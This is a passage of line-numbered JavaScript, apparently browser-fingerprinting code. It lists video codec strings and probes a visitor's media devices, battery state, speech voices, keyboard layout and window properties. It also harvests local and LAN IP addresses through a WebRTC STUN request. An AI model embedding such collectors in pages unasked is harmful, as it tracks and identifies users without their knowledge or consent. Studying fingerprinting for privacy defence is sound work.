codecs="avc1.53003e"', 'video/mp4; codecs="avc1.53003f"', 'video/mp4; codecs="avc1.530040"', 'video/mp4; codecs="avc1.530050"', 'video/mp4; codecs="avc1.53006e"', 'video/mp4; codecs="avc1.530085"', 'video/mp4; codecs="avc1.53040a"', 'video/mp4; codecs="avc1.53040b"', 'video/mp4; codecs="avc1.53040c"', 'video/mp4; codecs="avc1.53040d"', 'video/mp4; codecs="avc1.530414"', 'video/mp4; codecs="avc1.530415"', 'video/mp4; codecs="avc1.530416"', 'video/mp4; codecs="avc1.53041e"', 'video/mp4; codecs="avc1.53041f"', 'video/mp4; codecs="avc1.530420"', 'video/mp4; codecs="avc1.530428"', 'video/mp4; codecs="avc1.530429"', 'video/mp4; codecs="avc1.53042a"', 'video/mp4; codecs="avc1.530432"', 'video/mp4; codecs="avc1.530433"', 'video/mp4; codecs="avc1.530434"', 'video/mp4; codecs="avc1.53043c"', 'video/mp4; codecs="avc1.53043d"', 'video/mp4; codecs="avc1.53043e"', 'video/mp4; codecs="avc1.53043f"', 'video/mp4; codecs="avc1.530440"', 'video/mp4; codecs="avc1.530450"', 'video/mp4; codecs="avc1.53046e"', 'video/mp4; codecs="avc1.530485"', 'video/mp4; codecs="avc1.56000a"', 'video/mp4; codecs="avc1.56000b"', 'video/mp4; codecs="avc1.56000c"', 'video/mp4; codecs="avc1.56000d"', 'video/mp4; codecs="avc1.560014"', 'video/mp4; codecs="avc1.560015"', 'video/mp4; codecs="avc1.560016"', 'video/mp4; codecs="avc1.56001e"', 'video/mp4; codecs="avc1.56001f"', 'video/mp4; codecs="avc1.560020"', 'video/mp4; codecs="avc1.560028"', 'video/mp4; codecs="avc1.560029"', 'video/mp4; codecs="avc1.56002a"', 'video/mp4; codecs="avc1.560032"', 'video/mp4; codecs="avc1.560033"', 'video/mp4; codecs="avc1.560034"', 'video/mp4; codecs="avc1.56003c"', 'video/mp4; codecs="avc1.56003d"', 'video/mp4; codecs="avc1.56003e"', 'video/mp4; codecs="avc1.56003f"', 'video/mp4; codecs="avc1.560040"', 'video/mp4; codecs="avc1.560050"', 'video/mp4; codecs="avc1.56006e"', 'video/mp4; codecs="avc1.560085"', 'video/mp4; codecs="avc1.56040a"', 'video/mp4; codecs="avc1.56040b"', 'video/mp4; codecs="avc1.56040c"', 'video/mp4; codecs="avc1.56040d"', 'video/mp4; codecs="avc1.560414"', 'video/mp4; codecs="avc1.560415"', 'video/mp4; codecs="avc1.560416"', 'video/mp4; codecs="avc1.56041e"', 'video/mp4; codecs="avc1.56041f"', 'video/mp4; codecs="avc1.560420"', 'video/mp4; codecs="avc1.560428"', 'video/mp4; codecs="avc1.560429"', 'video/mp4; codecs="avc1.56042a"', 'video/mp4; codecs="avc1.560432"', 'video/mp4; codecs="avc1.560433"', 'video/mp4; codecs="avc1.560434"', 'video/mp4; codecs="avc1.56043c"', 'video/mp4; codecs="avc1.56043d"', 'video/mp4; codecs="avc1.56043e"', 'video/mp4; codecs="avc1.56043f"', 'video/mp4; codecs="avc1.560440"', 'video/mp4; codecs="avc1.560450"', 'video/mp4; codecs="avc1.56046e"', 'video/mp4; codecs="avc1.560485"', 'video/mp4; codecs="avc1.56100a"', 'video/mp4; codecs="avc1.56100b"', 'video/mp4; codecs="avc1.56100c"', 'video/mp4; codecs="avc1.56100d"', 'video/mp4; codecs="avc1.561014"', 'video/mp4; codecs="avc1.561015"', 'video/mp4; codecs="avc1.561016"', 'video/mp4; codecs="avc1.56101e"', 'video/mp4; codecs="avc1.56101f"', 'video/mp4; codecs="avc1.561020"', 'video/mp4; codecs="avc1.561028"', 'video/mp4; codecs="avc1.561029"', 'video/mp4; codecs="avc1.56102a"', 'video/mp4; codecs="avc1.561032"', 'video/mp4; codecs="avc1.561033"', 'video/mp4; codecs="avc1.561034"', 'video/mp4; codecs="avc1.56103c"', 'video/mp4; codecs="avc1.56103d"', 'video/mp4; codecs="avc1.56103e"', 'video/mp4; codecs="avc1.56103f"', 'video/mp4; codecs="avc1.561040"', 'video/mp4; codecs="avc1.561050"', 'video/mp4; codecs="avc1.56106e"', 'video/mp4; codecs="avc1.561085"', 'video/mp4; codecs="avc1.58000a"', 'video/mp4; codecs="avc1.58000b"', 'video/mp4; codecs="avc1.58000c"', 'video/mp4; codecs="avc1.58000d"', 'video/mp4; codecs="avc1.580014"', 'video/mp4; codecs="avc1.580015"', 'video/mp4; codecs="avc1.580016"', 'video/mp4; codecs="avc1.58001e"', 'video/mp4; codecs="avc1.58001f"', 'video/mp4; codecs="avc1.580020"', 'video/mp4; codecs="avc1.580028"', 'video/mp4; codecs="avc1.580029"', 'video/mp4; codecs="avc1.58002a"', 'video/mp4; codecs="avc1.580032"', 'video/mp4; codecs="avc1.580033"', 'video/mp4; codecs="avc1.580034"', 'video/mp4; codecs="avc1.58003c"', 'video/mp4; codecs="avc1.58003d"', 'video/mp4; codecs="avc1.58003e"', 'video/mp4; codecs="avc1.58003f"', 'video/mp4; codecs="avc1.580040"', 'video/mp4; codecs="avc1.580050"', 'video/mp4; codecs="avc1.58006e"', 'video/mp4; codecs="avc1.580085"', 'video/mp4; codecs="avc1.64000a"', 'video/mp4; codecs="avc1.64000b"', 'video/mp4; codecs="avc1.64000c"', 'video/mp4; codecs="avc1.64000d"', 'video/mp4; codecs="avc1.640014"', 'video/mp4; codecs="avc1.640015"', 'video/mp4; codecs="avc1.640016"', 'video/mp4; codecs="avc1.64001E, mp4a.40.2"', 'video/mp4; codecs="avc1.64001e"', 'video/mp4; codecs="avc1.64001f"', 'video/mp4; codecs="avc1.640020"', 'video/mp4; codecs="avc1.640028"', 'video/mp4; codecs="avc1.640029"', 'video/mp4; codecs="avc1.64002a"', 'video/mp4; codecs="avc1.640032"', 'video/mp4; codecs="avc1.640033"', 'video/mp4; codecs="avc1.640034"', 'video/mp4; codecs="avc1.64003c"', 'video/mp4; codecs="avc1.64003d"', 'video/mp4; codecs="avc1.64003e"', 'video/mp4; codecs="avc1.64003f"', 'video/mp4; codecs="avc1.640040"', 'video/mp4; codecs="avc1.640050"', 'video/mp4; codecs="avc1.64006e"', 'video/mp4; codecs="avc1.640085"', 'video/mp4; codecs="avc1.64080a"', 'video/mp4; codecs="avc1.64080b"', 'video/mp4; codecs="avc1.64080c"', 'video/mp4; codecs="avc1.64080d"', 'video/mp4; codecs="avc1.640814"', 'video/mp4; codecs="avc1.640815"', 'video/mp4; codecs="avc1.640816"', 'video/mp4; codecs="avc1.64081e"', 'video/mp4; codecs="avc1.64081f"', 'video/mp4; codecs="avc1.640820"', 'video/mp4; codecs="avc1.640828"', 'video/mp4; codecs="avc1.640829"', 'video/mp4; codecs="avc1.64082a"', 'video/mp4; codecs="avc1.640832"', 'video/mp4; codecs="avc1.640833"', 'video/mp4; codecs="avc1.640834"', 'video/mp4; codecs="avc1.64083c"', 'video/mp4; codecs="avc1.64083d"', 'video/mp4; codecs="avc1.64083e"', 'video/mp4; codecs="avc1.64083f"', 'video/mp4; codecs="avc1.640840"', 'video/mp4; codecs="avc1.640850"', 'video/mp4; codecs="avc1.64086e"', 'video/mp4; codecs="avc1.640885"', 'video/mp4; codecs="avc1.6e000a"', 'video/mp4; codecs="avc1.6e000b"', 'video/mp4; codecs="avc1.6e000c"', 'video/mp4; codecs="avc1.6e000d"', 'video/mp4; codecs="avc1.6e0014"', 'video/mp4; codecs="avc1.6e0015"', 'video/mp4; codecs="avc1.6e0016"', 'video/mp4; codecs="avc1.6e001e"', 'video/mp4; codecs="avc1.6e001f"', 'video/mp4; codecs="avc1.6e0020"', 'video/mp4; codecs="avc1.6e0028"', 'video/mp4; codecs="avc1.6e0029"', 'video/mp4; codecs="avc1.6e002a"', 'video/mp4; codecs="avc1.6e0032"', 'video/mp4; codecs="avc1.6e0033"', 'video/mp4; codecs="avc1.6e0034"', 'video/mp4; codecs="avc1.6e003c"', 'video/mp4; codecs="avc1.6e003d"', 'video/mp4; codecs="avc1.6e003e"', 'video/mp4; codecs="avc1.6e003f"', 'video/mp4; codecs="avc1.6e0040"', 'video/mp4; codecs="avc1.6e0050"', 'video/mp4; codecs="avc1.6e006e"', 'video/mp4; codecs="avc1.6e0085"', 'video/mp4; codecs="avc1.6e100a"', 'video/mp4; codecs="avc1.6e100b"', 'video/mp4; codecs="avc1.6e100c"', 'video/mp4; codecs="avc1.6e100d"', 'video/mp4; codecs="avc1.6e1014"', 'video/mp4; codecs="avc1.6e1015"', 'video/mp4; codecs="avc1.6e1016"', 'video/mp4; codecs="avc1.6e101e"', 'video/mp4; codecs="avc1.6e101f"', 'video/mp4; codecs="avc1.6e1020"', 'video/mp4; codecs="avc1.6e1028"', 'video/mp4; codecs="avc1.6e1029"', 'video/mp4; codecs="avc1.6e102a"', 'video/mp4; codecs="avc1.6e1032"', 'video/mp4; codecs="avc1.6e1033"', 'video/mp4; codecs="avc1.6e1034"', 'video/mp4; codecs="avc1.6e103c"', 'video/mp4; codecs="avc1.6e103d"', 'video/mp4; codecs="avc1.6e103e"', 'video/mp4; codecs="avc1.6e103f"', 'video/mp4; codecs="avc1.6e1040"', 'video/mp4; codecs="avc1.6e1050"', 'video/mp4; codecs="avc1.6e106e"', 'video/mp4; codecs="avc1.6e1085"', 'video/mp4; codecs="avc1.76000a"', 'video/mp4; codecs="avc1.76000b"', 'video/mp4; codecs="avc1.76000c"', 'video/mp4; codecs="avc1.76000d"', 'video/mp4; codecs="avc1.760014"', 'video/mp4; codecs="avc1.760015"', 'video/mp4; codecs="avc1.760016"', 'video/mp4; codecs="avc1.76001e"', 'video/mp4; codecs="avc1.76001f"', 'video/mp4; codecs="avc1.760020"', 'video/mp4; codecs="avc1.760028"', 'video/mp4; codecs="avc1.760029"', 'video/mp4; codecs="avc1.76002a"', 'video/mp4; codecs="avc1.760032"', 'video/mp4; codecs="avc1.760033"', 'video/mp4; codecs="avc1.760034"', 'video/mp4; codecs="avc1.76003c"', 'video/mp4; codecs="avc1.76003d"', 'video/mp4; codecs="avc1.76003e"', 'video/mp4; codecs="avc1.76003f"', 'video/mp4; codecs="avc1.760040"', 'video/mp4; codecs="avc1.760050"', 'video/mp4; codecs="avc1.76006e"', 'video/mp4; codecs="avc1.760085"', 'video/mp4; codecs="avc1.7a000a"', 'video/mp4; codecs="avc1.7a000b"', 'video/mp4; codecs="avc1.7a000c"', 'video/mp4; codecs="avc1.7a000d"', 'video/mp4; codecs="avc1.7a0014"', 'video/mp4; codecs="avc1.7a0015"', 'video/mp4; codecs="avc1.7a0016"', 'video/mp4; codecs="avc1.7a001e"', 'video/mp4; codecs="avc1.7a001f"', 'video/mp4; codecs="avc1.7a0020"', 'video/mp4; codecs="avc1.7a0028"', 'video/mp4; codecs="avc1.7a0029"', 'video/mp4; codecs="avc1.7a002a"', 'video/mp4; codecs="avc1.7a0032"', 'video/mp4; codecs="avc1.7a0033"', 'video/mp4; codecs="avc1.7a0034"', 'video/mp4; codecs="avc1.7a003c"', 'video/mp4; codecs="avc1.7a003d"', 'video/mp4; codecs="avc1.7a003e"', 'video/mp4; codecs="avc1.7a003f"', 'video/mp4; codecs="avc1.7a0040"', 'video/mp4; codecs="avc1.7a0050"', 'video/mp4; codecs="avc1.7a006e"', 'video/mp4; codecs="avc1.7a0085"', 'video/mp4; codecs="avc1.7a100a"', 'video/mp4; codecs="avc1.7a100b"', 'video/mp4; codecs="avc1.7a100c"', 'video/mp4; codecs="avc1.7a100d"', 'video/mp4; codecs="avc1.7a1014"', 'video/mp4; codecs="avc1.7a1015"', 'video/mp4; codecs="avc1.7a1016"', 'video/mp4; codecs="avc1.7a101e"', 'video/mp4; codecs="avc1.7a101f"', 'video/mp4; codecs="avc1.7a1020"', 'video/mp4; codecs="avc1.7a1028"', 'video/mp4; codecs="avc1.7a1029"', 'video/mp4; codecs="avc1.7a102a"', 'video/mp4; codecs="avc1.7a1032"', 'video/mp4; codecs="avc1.7a1033"', 'video/mp4; codecs="avc1.7a1034"', 'video/mp4; codecs="avc1.7a103c"', 'video/mp4; codecs="avc1.7a103d"', 'video/mp4; codecs="avc1.7a103e"', 'video/mp4; codecs="avc1.7a103f"', 'video/mp4; codecs="avc1.7a1040"', 'video/mp4; codecs="avc1.7a1050"', 'video/mp4; codecs="avc1.7a106e"', 'video/mp4; codecs="avc1.7a1085"', 'video/mp4; codecs="avc1.80000a"', 'video/mp4; codecs="avc1.80000b"', 'video/mp4; codecs="avc1.80000c"', 'video/mp4; codecs="avc1.80000d"', 'video/mp4; codecs="avc1.800014"', 'video/mp4; codecs="avc1.800015"', 'video/mp4; codecs="avc1.800016"', 'video/mp4; codecs="avc1.80001e"', 'video/mp4; codecs="avc1.80001f"', 'video/mp4; codecs="avc1.800020"', 'video/mp4; codecs="avc1.800028"', 'video/mp4; codecs="avc1.800029"', 'video/mp4; codecs="avc1.80002a"', 'video/mp4; codecs="avc1.800032"', 'video/mp4; codecs="avc1.800033"', 'video/mp4; codecs="avc1.800034"', 'video/mp4; codecs="avc1.80003c"', 'video/mp4; codecs="avc1.80003d"', 'video/mp4; codecs="avc1.80003e"', 'video/mp4; codecs="avc1.80003f"', 'video/mp4; codecs="avc1.800040"', 'video/mp4; codecs="avc1.800050"', 'video/mp4; codecs="avc1.80006e"', 'video/mp4; codecs="avc1.800085"', 'video/mp4; codecs="avc1.8a000a"', 'video/mp4; codecs="avc1.8a000b"', 'video/mp4; codecs="avc1.8a000c"', 'video/mp4; codecs="avc1.8a000d"', 'video/mp4; codecs="avc1.8a0014"', 'video/mp4; codecs="avc1.8a0015"', 'video/mp4; codecs="avc1.8a0016"', 'video/mp4; codecs="avc1.8a001e"', 'video/mp4; codecs="avc1.8a001f"', 'video/mp4; codecs="avc1.8a0020"', 'video/mp4; codecs="avc1.8a0028"', 'video/mp4; codecs="avc1.8a0029"', 'video/mp4; codecs="avc1.8a002a"', 'video/mp4; codecs="avc1.8a0032"', 'video/mp4; codecs="avc1.8a0033"', 'video/mp4; codecs="avc1.8a0034"', 'video/mp4; codecs="avc1.8a003c"', 'video/mp4; codecs="avc1.8a003d"', 'video/mp4; codecs="avc1.8a003e"', 'video/mp4; codecs="avc1.8a003f"', 'video/mp4; codecs="avc1.8a0040"', 'video/mp4; codecs="avc1.8a0050"', 'video/mp4; codecs="avc1.8a006e"', 'video/mp4; codecs="avc1.8a0085"', 'video/mp4; codecs="avc1.f4000a"', 'video/mp4; codecs="avc1.f4000b"', 'video/mp4; codecs="avc1.f4000c"', 'video/mp4; codecs="avc1.f4000d"', 'video/mp4; codecs="avc1.f40014"', 'video/mp4; codecs="avc1.f40015"', 'video/mp4; codecs="avc1.f40016"', 'video/mp4; codecs="avc1.f4001e"', 'video/mp4; codecs="avc1.f4001f"', 'video/mp4; codecs="avc1.f40020"', 'video/mp4; codecs="avc1.f40028"', 'video/mp4; codecs="avc1.f40029"', 'video/mp4; codecs="avc1.f4002a"', 'video/mp4; codecs="avc1.f40032"', 'video/mp4; codecs="avc1.f40033"', 'video/mp4; codecs="avc1.f40034"', 'video/mp4; codecs="avc1.f4003c"', 'video/mp4; codecs="avc1.f4003d"', 'video/mp4; codecs="avc1.f4003e"', 'video/mp4; codecs="avc1.f4003f"', 'video/mp4; codecs="avc1.f40040"', 'video/mp4; codecs="avc1.f40050"', 'video/mp4; codecs="avc1.f4006e"', 'video/mp4; codecs="avc1.f40085"', 'video/mp4; codecs="avc1.f4100a"', 'video/mp4; codecs="avc1.f4100b"', 'video/mp4; codecs="avc1.f4100c"', 'video/mp4; codecs="avc1.f4100d"', 'video/mp4; codecs="avc1.f41014"', 'video/mp4; codecs="avc1.f41015"', 'video/mp4; codecs="avc1.f41016"', 'video/mp4; codecs="avc1.f4101e"', 'video/mp4; codecs="avc1.f4101f"', 'video/mp4; codecs="avc1.f41020"', 'video/mp4; codecs="avc1.f41028"', 'video/mp4; codecs="avc1.f41029"', 'video/mp4; codecs="avc1.f4102a"', 'video/mp4; codecs="avc1.f41032"', 'video/mp4; codecs="avc1.f41033"', 'video/mp4; codecs="avc1.f41034"', 'video/mp4; codecs="avc1.f4103c"', 'video/mp4; codecs="avc1.f4103d"', 'video/mp4; codecs="avc1.f4103e"', 'video/mp4; codecs="avc1.f4103f"', 'video/mp4; codecs="avc1.f41040"', 'video/mp4; codecs="avc1.f41050"', 'video/mp4; codecs="avc1.f4106e"', 'video/mp4; codecs="avc1.f41085"', 'video/mp4; codecs="avc1x"', 'video/mp4; codecs="avc2"', 'video/mp4; codecs="avc3"', 'video/mp4; codecs="avc3.42001E"', 'video/mp4; codecs="avc4"', 'video/mp4; codecs="avcp"', 'video/mp4; codecs="drac"', 'video/mp4; codecs="dvav"', 'video/mp4; codecs="dvhe"', 'video/mp4; codecs="encf"', 'video/mp4; codecs="encm"', 'video/mp4; codecs="encs"', 'video/mp4; codecs="enct"', 'video/mp4; codecs="encv"', 'video/mp4; codecs="fdp "', 'video/mp4; codecs="flac"', 'video/mp4; codecs="hev1"', 'video/mp4; codecs="hev1.1.6.L93.90"', 'video/mp4; codecs="hev1.1.6.L93.B0"', 'video/mp4; codecs="hvc1"', 'video/mp4; codecs="hvc1.1.6.L93.90"', 'video/mp4; codecs="hvc1.1.6.L93.B0"', 'video/mp4; codecs="hvt1"', 'video/mp4; codecs="ixse"', 'video/mp4; codecs="lavc1337"', 'video/mp4; codecs="lhe1"', 'video/mp4; codecs="lht1"', 'video/mp4; codecs="lhv1"', 'video/mp4; codecs="m2ts"', 'video/mp4; codecs="mett"', 'video/mp4; codecs="metx"', 'video/mp4; codecs="mjp2"', 'video/mp4; codecs="mlix"', 'video/mp4; codecs="mp4a.40.02"', 'video/mp4; codecs="mp4a.40.29"', 'video/mp4; codecs="mp4a.40.5"', 'video/mp4; codecs="mp4a.67"', 'video/mp4; codecs="mp4s"', 'video/mp4; codecs="mp4v"', 'video/mp4; codecs="mp4v.20.240, mp4a.40.2"', 'video/mp4; codecs="mp4v.20.8, mp4a.40.2"', 'video/mp4; codecs="mvc1"', 'video/mp4; codecs="mvc2"', 'video/mp4; codecs="mvc3"', 'video/mp4; codecs="mvc4"', 'video/mp4; codecs="mvd1"', 'video/mp4; codecs="mvd2"', 'video/mp4; codecs="mvd3"', 'video/mp4; codecs="mvd4"', 'video/mp4; codecs="oksd"', 'video/mp4; codecs="pm2t"', 'video/mp4; codecs="prtp"', 'video/mp4; codecs="resv"', 'video/mp4; codecs="rm2t"', 'video/mp4; codecs="rrtp"', 'video/mp4; codecs="rsrp"', 'video/mp4; codecs="rtmd"', 'video/mp4; codecs="rtp "', 'video/mp4; codecs="s263"', 'video/mp4; codecs="sm2t"', 'video/mp4; codecs="srtp"', 'video/mp4; codecs="stpp"', 'video/mp4; codecs="svc1"', 'video/mp4; codecs="svc2"', 'video/mp4; codecs="svcM"', 'video/mp4; codecs="tc64"', 'video/mp4; codecs="tmcd"', 'video/mp4; codecs="tx3g"', 'video/mp4; codecs="unid"', 'video/mp4; codecs="urim"', 'video/mp4; codecs="vc-1"', 'video/mp4; codecs="vp08"', 'video/mp4; codecs="vp09"', 'video/mp4; codecs="vp09.00.10.08"', 'video/mp4; codecs="vp09.00.50.08"', 'video/mp4; codecs="vp09.01.20.08.01"', 'video/mp4; codecs="vp09.01.20.08.01.01.01.01.00"', 'video/mp4; codecs="vp09.02.10.10.01.09.16.09.01"', 'video/mp4; codecs="wvtt"', 'video/mp4; codecs=bogus', 'video/mp4; codecs=mp4a.40.2', 'video/mpeg', 'video/mpeg2', 'video/mpeg4', 'video/msvideo', 'video/ogg', 'video/ogg; codecs="dirac, flac"', 'video/ogg; codecs="dirac, vorbis"', 'video/ogg; codecs="flac"', 'video/ogg; codecs="theora"', 'video/ogg; codecs="theora, flac"', 'video/ogg; codecs="theora, speex"', 'video/ogg; codecs="theora, vorbis"', 'video/ogg; codecs="vp8"', 'video/ogg; codecs=opus', 'video/ogg; codecs=speex', 'video/quicktime', 'video/vnd.rn-realvideo', 'video/wavelet', 'video/webm', 'video/webm; codecs="av01.0.04M.08"', 'video/webm; codecs="vorbis"', 'video/webm; codecs="vorbis,vp9"', 'video/webm; codecs="vp09.02.10.08"', 'video/webm; codecs="vp8"', 'video/webm; codecs="vp8, opus"', 'video/webm; codecs="vp8, vorbis"', 'video/webm; codecs="vp8.0"', 'video/webm; codecs="vp8.0, vorbis"', 'video/webm; codecs="vp9"', 'video/webm; codecs="vp9, opus"', 'video/webm; codecs="vp9, vorbis"', 'video/webm; codecs=vorbis', 'video/x-dv; codecs="avc3.12345"', 'video/x-flv', 'video/x-la-asf', 'video/x-m4v', 'video/x-m4v; codecs="avc1.42AC23"', 'video/x-matroska', 'video/x-matroska; codecs="theora"', 'video/x-matroska; codecs="theora, vorbis"', 'video/x-mkv', 'video/x-mng', 'video/x-mpeg', 'video/x-mpeg2', 'video/x-ms-wmv', 'video/x-msvideo', 'video/x-theora'];
  2608.  
  2609.             const result = [];
  2610.             const videoEl = document.createElement('video');
  2611.             const audioEl = new Audio();
  2612.             const isMediaRecorderSupported = 'MediaRecorder' in window;
  2613.  
  2614.             await smoothForeach(mimeTypes, 15, (type) => {
  2615.                 try {
  2616.                     const data = {
  2617.                         mimeType: type,
  2618.                     };
  2619.  
  2620.                     const audioPlayType = audioEl.canPlayType(type);
  2621.                     const videoPlayType = videoEl.canPlayType(type);
  2622.                     const mediaSource = MediaSource.isTypeSupported(type);
  2623.  
  2624.                     // noinspection JSUnresolvedVariable
  2625.                     const mediaRecorder = isMediaRecorderSupported ? MediaRecorder.isTypeSupported(type) : false;
  2626.  
  2627.                     if (audioPlayType) {
  2628.                         data.audioPlayType = audioPlayType;
  2629.                     }
  2630.  
  2631.                     if (videoPlayType) {
  2632.                         data.videoPlayType = videoPlayType;
  2633.                     }
  2634.  
  2635.                     if (mediaSource) {
  2636.                         data.mediaSource = mediaSource;
  2637.                     }
  2638.  
  2639.                     if (mediaRecorder) {
  2640.                         data.mediaRecorder = mediaRecorder;
  2641.                     }
  2642.  
  2643.                     if (
  2644.                         data.audioPlayType
  2645.                         || data.videoPlayType
  2646.                         || data.mediaSource
  2647.                         || data.mediaRecorder
  2648.                     ) {
  2649.                         result.push(data);
  2650.                     }
  2651.                 } catch (_) {
  2652.                 }
  2653.             });
  2654.  
  2655.             return result;
  2656.         };
  2657.  
  2658.         // mediaDevices
  2659.         const dumpMediaDevices = async () => {
  2660.             try {
  2661.                 return await navigator.mediaDevices.enumerateDevices();
  2662.             } catch (_) {
  2663.             }
  2664.  
  2665.             return null;
  2666.         };
  2667.  
  2668.         // battery
  2669.         const dumpBattery = () => {
  2670.             return new Promise(function (resolve) {
  2671.                 'getBattery' in navigator ? navigator.getBattery().then(function (battery) {
  2672.                     resolve({
  2673.                         charging: battery.charging,
  2674.                         chargingTime: battery.chargingTime,
  2675.                         dischargingTime: battery.dischargingTime,
  2676.                         level: battery.level,
  2677.                     });
  2678.                 }) : resolve({});
  2679.             });
  2680.         };
  2681.  
  2682.         // rtcip
  2683.         const dumpRTC = () => {
  2684.             const result = [];
  2685.             let rtcCls = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
  2686.  
  2687.             return new Promise(function (resolve) {
  2688.                 try {
  2689.                     if (rtcCls) {
  2690.                         // noinspection JSUnusedLocalSymbols
  2691.                         let rtc = new rtcCls({
  2692.                             'iceServers': [{
  2693.                                 'urls': 'stun:stun.l.google.com:19302',
  2694.                             }],
  2695.                         }),
  2696.                             emptyFunc = function () {
  2697.                             },
  2698.                             reg1 = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/,
  2699.                             reg2 = /^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/g;
  2700.  
  2701.                         rtc.createDataChannel('');
  2702.                         setTimeout(function () {
  2703.                             resolve(result);
  2704.                         }, 2000);
  2705.  
  2706.                         let offer = rtc.createOffer();
  2707.  
  2708.                         // noinspection JSDeprecatedSymbols
  2709.                         offer instanceof Promise ? offer.then(function (e) {
  2710.                             return rtc.setLocalDescription(e);
  2711.                         }).then(function () {
  2712.                         }) : rtc.createOffer(function (e) {
  2713.                             // noinspection JSDeprecatedSymbols
  2714.                             rtc.setLocalDescription(e, emptyFunc, emptyFunc);
  2715.                         }, emptyFunc);
  2716.  
  2717.                         rtc.onicecandidate = function (event) {
  2718.                             if (event && event.candidate && event.candidate.candidate) {
  2719.                                 let regResult = reg1.exec&#40;event.candidate.candidate&#41;;
  2720.                                 result.push({
  2721.                                     candidate: event.candidate.candidate,
  2722.                                     reg: regResult,
  2723.                                 });
  2724.                             }
  2725.                         };
  2726.                     } else resolve(result);
  2727.                 } catch (ex) {
  2728.                     resolve(result);
  2729.                 }
  2730.             });
  2731.         };
  2732.  
  2733.         // window.speechSynthesis.getVoices
  2734.         const dumpVoices = () => {
  2735.             return new Promise(async resolve => {
  2736.                 try {
  2737.                     const win = window;
  2738.                     const supported = 'speechSynthesis' in win;
  2739.                     supported && speechSynthesis.getVoices(); // warm up
  2740.  
  2741.                     // noinspection JSCheckFunctionSignatures
  2742.                     await new Promise(setTimeout).catch(e => e);
  2743.  
  2744.                     if (!supported) {
  2745.                         return resolve([]);
  2746.                     }
  2747.  
  2748.                     // inspired by https://github.com/abrahamjuliot/creepjs/blob/master/creep.js
  2749.                     let success = false;
  2750.                     const getVoices = () => {
  2751.                         const data = win.speechSynthesis.getVoices();
  2752.                         if (!data || !data.length) {
  2753.                             return;
  2754.                         }
  2755.  
  2756.                         success = true;
  2757.  
  2758.                         const voices = data.map(e => ({
  2759.                             default: e.default,
  2760.                             lang: e.lang,
  2761.                             localService: e.localService,
  2762.                             name: e.name,
  2763.                             voiceURI: e.voiceURI,
  2764.                         }));
  2765.  
  2766.                         return resolve(voices);
  2767.                     };
  2768.  
  2769.                     getVoices();
  2770.                     win.speechSynthesis.onvoiceschanged = getVoices; // Chrome support
  2771.  
  2772.                     // handle pending resolve
  2773.                     const wait = 1000;
  2774.                     setTimeout(() => {
  2775.                         if (success) {
  2776.                             return;
  2777.                         }
  2778.  
  2779.                         return resolve([]);
  2780.                     }, wait);
  2781.                 } catch (error) {
  2782.                     return resolve([]);
  2783.                 }
  2784.             });
  2785.         };
  2786.  
  2787.         // default ComputedStyle
  2788.         const dumpDefaultCS = async () => {
  2789.             const frame = document.createElement('iframe');
  2790.  
  2791.             // noinspection JSCheckFunctionSignatures
  2792.             document.body.appendChild(frame);
  2793.  
  2794.             const result = {};
  2795.             const cs = frame.contentWindow.getComputedStyle(frame.contentDocument.body);
  2796.             for (const key in cs) {
  2797.                 result[key] = cs[key];
  2798.             }
  2799.  
  2800.             frame.remove();
  2801.  
  2802.             return result;
  2803.         };
  2804.  
  2805.         // keyboard
  2806.         const dumpKeyboard = async () => {
  2807.             if (!('keyboard' in navigator && navigator.keyboard)) {
  2808.                 return [];
  2809.             }
  2810.  
  2811.             const keys = ['Sleep', 'WakeUp', 'KeyA', 'KeyB', 'KeyC', 'KeyD', 'KeyE', 'KeyF', 'KeyG', 'KeyH', 'KeyI', 'KeyJ', 'KeyK', 'KeyL', 'KeyM', 'KeyN', 'KeyO', 'KeyP', 'KeyQ', 'KeyR', 'KeyS', 'KeyT', 'KeyU', 'KeyV', 'KeyW', 'KeyX', 'KeyY', 'KeyZ', 'Digit1', 'Digit2', 'Digit3', 'Digit4', 'Digit5', 'Digit6', 'Digit7', 'Digit8', 'Digit9', 'Digit0', 'Enter', 'Escape', 'Backspace', 'Tab', 'Space', 'Minus', 'Equal', 'BracketLeft', 'BracketRight', 'Backslash', 'Semicolon', 'Quote', 'Backquote', 'Comma', 'Period', 'Slash', 'CapsLock', 'F1', 'F2', 'F3', 'F4', 'F5', 'F6', 'F7', 'F8', 'F9', 'F10', 'F11', 'F12', 'F13', 'F14', 'F15', 'F16', 'F17', 'F18', 'F19', 'F20', 'F21', 'F22', 'F23', 'F24', 'PrintScreen', 'ScrollLock', 'Pause', 'Insert', 'Home', 'PageUp', 'Delete', 'End', 'PageDown', 'ArrowRight', 'ArrowLeft', 'ArrowDown', 'ArrowUp', 'NumLock', 'Numpad1', 'Numpad2', 'Numpad3', 'Numpad4', 'Numpad5', 'Numpad6', 'Numpad7', 'Numpad8', 'Numpad9', 'Numpad0', 'NumpadDivide', 'NumpadMultiply', 'NumpadSubtract', 'NumpadAdd', 'NumpadEnter', 'NumpadDecimal', 'NumpadEqual', 'NumpadParenLeft', 'NumpadParenRight', 'IntlBackslash', 'ContextMenu', 'Power', 'Help', 'Undo', 'Cut', 'Copy', 'Paste', 'AudioVolumeMute', 'AudioVolumeUp', 'AudioVolumeDown', 'NumpadComma', 'IntlRo', 'KanaMode', 'IntlYen', 'Convert', 'NonConvert', 'Lang1', 'Lang2', 'Lang3', 'Lang4', 'ControlLeft', 'ShiftLeft', 'AltLeft', 'MetaLeft', 'ControlRight', 'ShiftRight', 'AltRight', 'MetaRight', 'MediaTrackNext', 'MediaTrackPrevious', 'MediaStop', 'Eject', 'MediaPlayPause', 'MediaSelect', 'LaunchMail', 'LaunchApp2', 'LaunchApp1', 'BrowserSearch', 'BrowserHome', 'BrowserBack', 'BrowserForward', 'BrowserStop', 'BrowserRefresh', 'BrowserFavorites'];
  2812.             const keyboardLayoutMap = await navigator.keyboard.getLayoutMap();
  2813.             return keys
  2814.                 .reduce((acc, key) => {
  2815.                 acc[key] = keyboardLayoutMap.get(key);
  2816.                 return acc;
  2817.             }, {});
  2818.         };
  2819.  
  2820.         // windowVersion
  2821.         const dumpWindowVersion = async () => {
  2822.             return Object.getOwnPropertyNames(window)
  2823.                 .filter(key => !/_|\d{3,}/.test(key));
  2824.         };
  2825.  
  2826.         // htmlElementVersion
  2827.         const dumpHtmlElementVersion = async () => {
